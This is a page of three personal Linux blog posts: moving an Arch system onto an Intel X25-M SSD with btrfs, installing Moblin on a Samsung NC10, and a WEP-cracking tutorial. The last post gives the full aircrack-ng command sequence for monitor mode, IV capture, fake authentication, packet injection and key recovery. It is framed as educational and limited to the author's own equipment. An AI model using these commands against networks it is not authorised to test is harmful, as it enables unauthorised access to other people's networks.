Posts Tagged ‘arch’

Intel X25-M Gen2 on linux – migrating to btrfs on kernel 2.6.33

Wednesday, February 17th, 2010

This comes with no warranty whatsoever! Don't come to me if this breaks and deletes all your data. Back it up!

Why BTRFS on the X25-M ?
I decided to write this article because it's very hard to find information about the X25-M or high performance SSDs in general. Under linux, it's nearly impossible. Information on btrfs however is more promising and they even have a nice wiki.

BTRFS is said to have stabilised since the 2.6.32 kernel and has been included since the 2.6.29 kernel. It should not change structure unless a major bug is found is stated on the wiki. You can upgrade to BTRFS from ext4. Therefore if you are more worried about your data than me, then you can use ext4 and when you deem btrfs stable enough upgrade to it.

Some people claim that anything with a journal will damage their SSD. Now this may be true of cheaper SSDs found in netbooks, and basic 2.5" drives sold cheap (you know which ones I mean) that got slower and seemed to stutter after many writes. However the Intel X25-M is said by intel to have a Minimum useful life of 5 years (or 35TB). You can write to it 20GB/day for 5 years! it has a Mean time between failures of 1.2 Million hours. People should probably have been more worried about their normal hard drives to fail than worrying about this SSD.

I'm not saying you should put a swap file on your SSD. Keep that on a normal drive or just don't have one! I like to keep a big swap file to have /tmp as tmpfs. I also keep /var/log on a conventional JFS partition on a rotational drive because it can be nice to be able to mount it under any OS and not just a recent linux kernel.

Performance has been tested on the Intel X25-E SSD under linux by phoronix.com here. However NILFS2 nor BTRFS where present and only default mount options where used. So barrier disabled ext4 was quite good... (disabling barriers on ext is NEVER a good idea). XFS seemed to do quite well but has no SSD mode.

Part 1 - Making your system BTRFS friendly
This will only work on Arch Linux. However have a look here for ubuntu. The rest of the guide should work on any linux distribution however.
install mkinitcpio-btrfs and btfs-progs from the AUR. Remake boot images.
Be carefull to remake the right image. I use kernel26-rc from AUR (2.6.33-rc8 at time of posting). Normal Arch kernel will be kernel26

packer -S mkinitcpio-btrfs btrfs-progs
mkinitcpio -p kernel26-rc

I'm working with a seperate /boot partition. This is probably a better idea until btrfs support gets more common.
Part2 - Moving / and /boot to the new SSD
Format your new drive as you wish. use fdisk -l to see which one is your new drive.
I always use 200MB as /boot and then left the rest for /. You may want to use a seperate /home. I decided leaving the biggest partition would mean less wear as the wear levelling alogrithms would have more room to work. Decide what your opinion is on this ;-)

Make the btrfs partition as well as /boot

mkfs.btrfs /dev/sdb2
mkfs.ext2 /dev/sdb1

I will use -o ssd but you can use -o ssd_spread if you are really worried your precious drive will die too soon!

mkdir /mnt/boot
mkdir /mnt/slash
mount -o ssd /dev/sdb2 /mnt/slash
mount /dev/sdb1 /mnt/boot

Now comes the boring long bit... Then we just create /dev/console and /dev/null
Notice we copy over /boot twice and remove it. it's not like it will take any time to copy a few MBs

find / -xdev | cpio -pm /mnt/slash
rm -rf /mnt/slash/boot
find /boot -xdev | cpio -pm /mnt/boot
mknod /mnt/slash/dev/console c 5 1
mknod /mnt/slash/dev/null c 1 3

Part 3 - Grub
Now we will install grub on the master boot record of the SSD. You don't have to, but otherwise you will be wasting a few precious seconds.
please be carefull. Make sure it's the right drive!!! hd0 should be /dev/sda, hd1 will be /dev/sdb and so on

grub
grub> root (hd1,0)
grub> setup (hd1)

Next edit your /mnt/boot/grub/menu.lst file. Make sure that you change your boot options to the new SSD. The great thing about this is that if everything messes up you can just boot straight onto the old drive with the old files!

Part 4 - fstab
Always use UUIDs and not direct names.

blkid /dev/sdb1
blkid /dev/sdb2

then edit /mnt/slash/etc/fstab
and add the two lines for something like this:

# SSD is root and /boot
UUID=c05d5ae2-9eb9-4b6e-9e13-d99ea589933b / btrfs ssd 0 1
UUID=33a46c0e-ad6f-4526-b628-f477aa36e73e /boot ext2 defaults 0 1

The ssd option for / is actually not neccessary. BTRFS is capable of detecting wether or not you have an SSD.

cat /sys/block/sdb/queue/rotational

If this is a 0 then your SSD is correctly detected!

Part 5 - BIOS
Make sure that your sata controller is in AHCI mode. This will probably mean that if you have windows on a sata drive installed as IDE will just not boot anymore. If you don't have this one, the SSD won't have all the advanced commands available. And your SATAII drives won't have NCQ and similar working. No TRIM in IDE mode ;-)

Finished, Enjoy the speed!

Moblin on Samsung NC10 (Non destructively for other OS’s)

Tuesday, November 17th, 2009

This guide is a howto install Moblin V2.1 on a system with a pre-existing OS. In this case Arch Linux on a Samsung NC10.

Use the simple instructions to download the USB image and then use dd to put it on an empty usb stick. Bare in mind that /dev/sdb1 is not a valid device so you must use /dev/sdb. And yes it will wipe the whole usb stick. You'll need a 1GB minimum stick. I did it with a spare 2GB stick but the image is ~750MB so I don't think there's any point trying it with a 512MB stick.

Boot from the stick and select language/keyboard/timezone. Next choose Custom partition layout.

I always recommend this kind of partition layout :

MBR - Any old GRUB on here. Chainloads the other 3 grubs
/dev/sda1 /boot ext2 - 200MB - For Moblin - Grub for Moblin here
/dev/sda2 /boot_nix ext2 - 200MB - For Another OS - Grub for Nix1
/dev/sda3 /boot_nix2 ext2 - 200MB - For Another OS - Grub for Nix2
/dev/sda4 EXTENDED REST OF DISK
/dev/sda5 /home ext3 - you work out how much you want for the other partitions, I like xfs but moblin only uses ext3
/dev/sda6 / ext3 - I put 20GB, but anything higher than 10GB will be fine, you can go alot lower but that's inviting trouble.
/dev/sda7 /nix xfs
/dev/sda8 /nix2 xfs

/dev/sda1 to /dev/sda3 will be primary in this case. You may find the use of ext2 strange but do you really want journalling on /boot partitions? Waste of space in my opinion so there is no need. /home can be shared between OSs so I recommend something standard like ext3.

Choose username/password (the monkey is a very nice touch from the moblin team I have to say)

All you need now is to edit your grub/menu.lst file on your grub installed on the MBR of the drive you boot on and add something similar to this (my /boot for moblin is /dev/sda1) :

title Moblin
root (hd0,0)
makeactive
chainloader +1

Backlight
Upgrade the BIOS to 11CA -

http://www.samsungpc.com/08/products/nc10/firmware.html

You need to grab one of the DOS executables. I used 11CA07D0.EXE under the title 'NC10 11CA / N110 07DO - DOS Executable'
Get the DOS exe file and just run it from DOS using a USB stick (DOS on USB stick guide)
Carefull the BIOS update it starts straight away as soon as the .exe runs. It's also really noisy ;-)
Note : ONLY on bios 11CA
Bug : There is no brightness slider see bug
Just use this to display backlight level (0-255) and the second to set it to somethign reasonable. I like 50/40.

cat /sys/class/backlight/samsung/backlight
echo 50 > /sys/class/backlight/samsung/backlight

Hibernate/Sleep
This actually works straight out of the box. Moblin just doesn't show it. Something to do with not being in the philosophy - Names should be obvious...

pm-hibernate
pm-suspend

SSH server
There is nothing difficult about this but thought I'd mention it
Note : Starting it the first time takes a little while, it's normal

sudo yum install openssh-server
/etc/init.d/sshd start

Hostname
By default your machine will be called username-desktop. To change it edit /etc/hosts with your favourite Text editor
Replace the line like below (should be the last one and replace it with your chosen hostname

127.0.1.1 name.localdomain name

WEP network cracking using Realtek ALFA based WIFI cards

Tuesday, November 17th, 2009

There are many guides teaching people how to do this. You're probably wondering why I wrote my own. Simply put most of them are wrong/outdated and don't work anymore. This is a working one for Arch linux using aircrack-ng

First off - WEP encryption is not a good idea. Use WPA/WAP2.
Secondly - using people's network wether encrypted or not is illegal. So don't do it.
Thirdly - this is purely for educational purposes. And should only be done using your equipement

The easiest way to try this out is to get a spare router or to use a Nokia Nseries wifi capable phone as a WIFI point using JoikuSpot. Find what the MAC address of the hotspot is, it's name, and it's channel. I will use channel 11 from now on, but you will have to use whatever channel your AP is on. Incidentally a great tool to do this from a Nokia n-series is Barbelo (unsupported but still works great)

You will need the aircrack-ng suite. Once armed with this the rest is easy. First thing to do is disable networkmanager. Just turn it off using:

(for arch/*bsd) - /etc/rc.d/networkmanager stop
(for ubuntu/fedora/opensuse) - /etc/init.d/networkmanager stop

- Enter Monitor Mode on the desired Wifi card
(this may give you a seperate network interface in my case mon0)

sudo airmon-ng start wlan1

- Use Airodump to monitor the networks (leave this running in the background)

sudo airodump-ng --ivs --channel 11 mon0 --write filename

(11 is for the channel number and --ivs is to only capture iv's)

- Use airplay to fake a connection

sudo aireplay-ng -1 0 -e 'NetworkName' -a MACOFAP -h MACOFWIFICARD mon0

- After faked authentification has gone well then injection time

sudo aireplay-ng -3 -e 'NetworkName' -a MACOFAP -h MACOFWIFICARD mon0

(there are other types of attack that are alot faster than this. However read in aireplay-ng if you want. Since this is for educational purproses I see no need in going into more details. The AP will be directly next to you so there is no need for more sophisticated attacks)

The trick is to get enough IVs. Basically airodump will show you a #data column for every AP arround. Watch your AP and the #data should go flying up after a while running aireplay -4. Once you get to ~10,000 for a 64bit key and 100,000 for a 128bit key then leave it running, just in case and try cracking as such :

aircrack-ng filename.something

The filename will be whatever you called it when running airodump. Look at the biggest file there. It will get pretty big since it is logging all IVs. The file extension might be .cap or something similar.

If you get something then you are king. Just use the following or start network manager again and enter the key without the colons and you are good to go. Now shove your AP back to WPA and if your neighbour is using WEP offer to change it for them ;-) You can call it your good deed for the day.

Connecting to the network using the cli as root :

ifconfig wlan0 up
iwconfig wlan0 essid "NetworkName" key THISISTHEKEY
dhcpcd wlan0